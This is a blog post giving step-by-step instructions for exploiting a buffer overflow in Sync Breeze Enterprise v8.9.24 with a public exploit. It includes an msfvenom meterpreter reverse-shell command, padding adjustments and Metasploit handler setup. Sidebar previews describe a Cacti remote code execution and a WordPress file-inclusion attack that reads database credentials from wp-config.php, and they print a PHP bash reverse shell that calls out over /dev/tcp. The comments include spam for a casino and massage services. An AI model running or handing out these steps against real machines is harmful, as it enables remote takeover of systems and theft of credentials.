Hacking Wakthrough: Sync Breeze Enterprise v8.9.24

Software : Sync Breeze Enterprise v8.9.24

Exploit : https://www.exploit-db.com/exploits/40456

Operating system :  Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)


Follow these Steps:

  • Download 40456.py
  • Run the command : msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=your-ip LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\x0d\x26' -f python --smallest
  • A payload will be generated (my payload size is  310)
  • Copy the payload and replace the payload that's in the python script.Payload starts at line 28 with : buf = ""
  • If your payload has  buf = b""
  • buf += b"\xd9\xed\xd9\x74\x24\xf4\xbb\x9c\x69\xcd\x48\x5d\x29" ! remove the letter "b" and make it look just like the exploit 
  • Go to this line: "\x41" * 12292 #subtract/add for payload
  • The script payload is 308 (#payload size 308) so mine is 2 bytes more. 
  • If your payload is 2 or more subtract 2  from 12292 ( 12292 - 2 = 12290). Use this number. If yours is less , then add .
  •  Edit connect=s.connect(('target-ip',81)). My port is 81 , so adjust.
  • Start msfconsole , use exploit/multi/handler 
  • set lhost your-ip , leave port like above 4444
  • generic/shell_reverse_tcp is the default shell , I assume your target is windows and it didn't work with me using the default shell , use this instead : set payload windows/meterpreter/reverse_tcp
  • Run the sell and listen to connection: run
  • Now  run the exploit : python 40456.py
  • You will have a meterpreter shell , type: shell 
  • Enjoy and happy hacking :)

Comments

  1. UnknownJanuary 2, 2021 at 7:47 AM

    Thank you. I was adding the +2 bytes instead of subtracting them. I've literally been pounding my head on the wall for 4 hours trying to find out why this simple exploit wasn't working. You just saved me a lot of pain.

    ReplyDelete
  2. pagettnadolnyMarch 4, 2022 at 4:12 AM

    Seminole Hard Rock Hotel Casino - MapYRO
    Find 삼척 출장안마 your way around 군산 출장마사지 the casino, find where everything is located with these helpful 경상북도 출장안마 tips. We have over 김해 출장샵 2,500 slot machines, over 300 table 제천 출장마사지 games,

    ReplyDelete

Post a Comment

Popular posts from this blog

Hacking walkthrough: Cacti 1.2.8 exploit Ubuntu 18.04.3 LTS [RCE] [PE]

 This is a CTF (hacking lab) I tried . Its interesting and there are many ways to solve it or even to customize this CTF box. I dont know if you have seen it somewhere, I haven't so I had to do some researching. Im sure if there are/will-be similar others,they (will) share something in common which is  Cacti 1.2.8.   Web application:  Cacti 1.2.8 Server: Linux 4.15.0-88-generic Ubuntu 18.04.3 LTS Vulnerability:  CVE-2020-8813 Exploits:   48144 & 48145 . Use the one that fits the box situation which is normally in case of CTFs  48145 (Unauthenticated exploit) Vulnerability and Exploits documentation: https://shells.systems/cacti-v1-2-8-authenticated-remote-code-execution-cve-2020-8813/     First of all, in this box I had to change the payload, because netcat didn't work, so I had to do some experimenting with other reverse shells with no luck . So i thought to test the connecti...
Read more

Hacking Wakthrough : Linux version 3.10.0-123.el7.x86_64 / Wordpress 4.7.2

Server Operating system : Linux version 3.10.0-123.el7.x86_64 Hosted Web application : Wordpress 4.7.2  Vulnerabilities found:  Linux: https://www.exploit-db.com/exploits/35370 ( Local privilege escalation) Wordpress : https://www.exploit-db.com/exploits/39558 (Site import 1.0.1 plugin - LFI/RFI). There could be other vulnerable plugins   How to root the Linux server ? Type this url:  http://server-address/wp-content/plugins/site-import/admin/page.php?url=../../../../../../../../../../../../../../../../var/www/html/wp-config.php  View source this wp-config.php Find the database password. Use it to login the admin page. You need to figure out to find the name of the admin/user by using the tool wpscan : wpscan http://server-url  -e u Once inside wordpress, go to apperances/editor.  Copy this php reverse shell: inject <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ip-addrr/port 0>&1'"); ?> to one the p...
Read more